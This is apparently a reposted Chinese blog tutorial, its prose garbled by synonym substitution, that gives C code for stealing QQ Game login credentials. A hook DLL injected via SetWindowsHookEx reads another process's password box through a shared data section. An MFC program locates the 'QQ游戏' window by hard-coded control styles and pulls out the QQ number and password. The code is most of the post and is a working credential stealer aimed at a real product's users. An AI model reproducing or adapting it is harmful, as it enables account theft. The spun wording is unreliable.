快捷搜索:

C语言通过HOOK获取QQ游戏登录密码

//经由过程HOOK获取QQ游戏登录密码

不得不先说一下API函数SendMessage:

应用SendMessage向编辑框窗口发送WM_GETTEST消息,可以随意马虎获取到编辑框的内容(就算这个窗口不属于同一进程)。

然则有一个特例,那便是当编辑框窗口具有ES_PASSWORD风格(即密码输入框)且不输入同一进程时,应用上面的措施就掉效了。

普通的说,便是当你要应用SendMessage读取的密码框不属于同一个进程时,是读取不到任何内容的。

这大概是微软从安然角度斟酌做的四肢举动吧。

若何办理这个问题?

假如我们能将SendMessage放到目标进程中履行问题就办理了。由于属于同一个进程时应用SendMessage是可以读取到密码框的内容的。

若何将SendMessage放到目标进程中履行呢?应用HOOK(或者进程注入)。

关于钩子(HOOK)

钩子(Hook),是Windows消息处置惩罚机制的一个平台,利用法度榜样可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可所以其他进程所创建的。

当消息到达后,在目标窗口处置惩罚函数之前处置惩罚它。钩子机制容许利用法度榜样截获处置惩罚window消息或特定事故。

钩子实际上是一个处置惩罚消息的法度榜样段,经由过程系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子法度榜样就先捕获该消息,亦即钩子函数先获得节制权。

这时钩子函数即可以加工处置惩罚(改变)该消息,也可以不作处置惩罚而继承通报该消息,还可以强制停止消息的通报。

若何安装一个钩子?

应用API函数SetWindowsHookEx,原型及参数阐明如下

HHOOK SetWindowsHookEx(

int idHook, // 钩子的类型,本例采纳WH_CALLWNDPROC(窗口历程钩子)

HOOKPROC lpfn, // 钩子函数地址(即钩子函数的函数名)

HINSTANCE hMod, // 钩子函数所在的利用法度榜样实例句柄,(本例为DLL的句柄)

DWORD dwThreadId // 目标线程ID,即钩子的宿主线程

);

留意:当着末一个参数为0时表示安装的是全局钩子,此时要求钩子函数必须要在DLL中。

MSDN上关于这个函数的阐明很具体的。

筹备活动做完了。下面是本法度榜样的实现:

(1) GetWindowTextRemote.DLL

该DLL导出了一个函数GetWindowTextRemote,其它利用法度榜样经由过程调用这个函数就能实现对其它利用法度榜样密码编辑框内容的读取。

//-------------------------------------------------------

// GetWindowTextRemote

// 插入本DLL到远程进程

// 从远程编辑框控件中获取密码

//

// 返回值:读取到的密码字符数

//-------------------------------------------------------

__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)

{

g_hWnd = hWnd;

//给目标进程安装一个窗口历程钩子

g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,

hDll, GetWindowThreadProcessId(hWnd,NULL) );

if( g_hHook==NULL ) {

lpString[0] = '\0';

return 0;

}

//注册一个消息,用于看护远程进程读取密码

if (WM_HOOKSPY == 0)

WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );

// 向远程进程发送读取消息,触发其读取密码

SendMessage( hWnd,WM_HOOKSPY,0,0 );

strcpy( lpString,g_szPassword );

return strlen(lpString);

}

另一个紧张的函数便是钩子历程了:

//-------------------------------------------------------

// HookProc

// 由远程进程履行

//-------------------------------------------------------

#define pCW ((CWPSTRUCT*)lParam)

LRESULT HookProc (

int code, // hook code

WPARAM wParam, // virtual-key code

LPARAM lParam // keystroke-message information

)

{

//接管到读取密码消息

if( pCW->message == WM_HOOKSPY ) {

MessageBeep(MB_OK);

//读取密码编辑框的内容

SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );

//卸载钩子

UnhookWindowsHookEx(g_hHook );

}

//将消息处置惩罚权让渡给下一个钩子函数

return CallNextHookEx(g_hHook, code, wParam, lParam);

}

留意:安装Hook的进程加载DLL,其余进程在运行的历程中,由系统在该进程空间注入这个DLL.所谓注入便是把Hook DLL的履行代码映射到这个进程的内存空间。

虽然进程有多少个,可是该DLL的履行代码只有一份。

不合的进程全局Hook DLL的履行代码是共享的,可是全局变量并不共享(这样可以实现某种程度的隔离,对付增进系统的稳定性和安然性是很有需要的)。

然则假如全局变量不共享,进程通信就会受限,比如本例中,在目标进程中应用SendMessage获取到的密码若何通报给安装HOOK的进程便是一个问题?

办理这个问题的措施便是应用共享节,经由过程共享节可以使整个变量实现共享。如下所示:

//-------------------------------------------------------

// 共享数据区

// 共享数据区中的数据在DLL被映射的进程中都是共享的

//-------------------------------------------------------

#pragma data_seg (".shared")

HWND g_hWnd = 0; //要读取的编辑框控件句柄

HHOOK g_hHook = 0; //HOOK句柄

UINT WM_HOOKSPY = 0; //自定义消息,看护远程进程读取编辑框控件的内容

char g_szPassword [256] = { '\0' }; //保存编辑框控件的缓存区

#pragma data_seg ()

应用共享节时要添加如下的链接选项:#pragma comment(linker,"/SECTION:。shared,RWS")

到此,DLL的内就停止了。

在此分外谢谢codeproject的Robert Kuster,假如不是看了他的《Three Ways to Inject Your Code into Another Process》,也不会有我的这篇日志。

完备的代码在附件中。

(2)测试法度榜样-获取QQ游戏登录密码

接下来便是我们的测试法度榜样了,这个测试法度榜样实现的功能便是“得到QQ游戏登录框中的QQ号和密码”,这是一个MFC法度榜样,关键代码如下所示:

我为什么不获取QQ谈天登录窗口上的密码而要获取QQ游戏登录窗口上的QQ密码呢?

这是由于QQ谈天登录时,QQ法度榜样做了特殊处置惩罚(Nprotect键盘加密技巧),应用HOOK也是读取不到密码的。但QQ游戏登录时却没有这样的保护。

//先获取QQ游戏登录窗口的句柄,然后遍历子窗口,查找号码输入框和密码输入框

void CGetWindowTextRemoteTestDlg::OnGetremotetext()

{

HWND parenthwnd=0;

HWND childhwnd=0;

DWORD style=0;

char tempbuf[256]={0};

//获取QQ游戏登录窗口句柄

parenthwnd=::FindWindow(NULL,"QQ游戏");

if(parenthwnd)

{

//遍历子窗口,查找QQ号和密码输入框

childhwnd=::GetWindow(parenthwnd,GW_CHILD);

childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);

while(childhwnd)

{

memset(tempbuf,0,256);

::GetClassName(childhwnd,tempbuf,256);

style=::GetWindowLong(childhwnd,GWL_STYLE);

//号码输入框

//远程进程的非密码框内容可以直接采纳SendMessage发送WM_GETTEXT获取到

if(0x50010202==style)//号码输入框的样式是0x50010202,这是应用Spy++查看得知的。

{

memset(tempbuf,0,256);

::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);

this->SetDlgItemText(IDC_NUMBER,tempbuf);

}

//密码输入框

//远程进程的密码框内容采纳HOOK WH_CALLWNDPROC获取

if(0x52010020==style)

{

Getremotetext(childhwnd,tempbuf);

this->SetDlgItemText(IDC_PASSWORD,tempbuf);

}

childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);

}

}

}

//动态调用GetWindowTextRemote.DLL中的GetWindowTextRemote函数读取远程进程的密码编辑框内容

int Getremotetext(HWND hwnd,LPSTR tempbuf)

{

typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);

GetWindowTextRemote getwindowtextremote=NULL;

HINSTANCE hDll=0;

int ret=0;

hDll=::LoadLibrary("GetWindowTextRemote.dll");

getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");

ret=getwindowtextremote(hwnd,tempbuf);

return ret;

}

您可能还会对下面的文章感兴趣: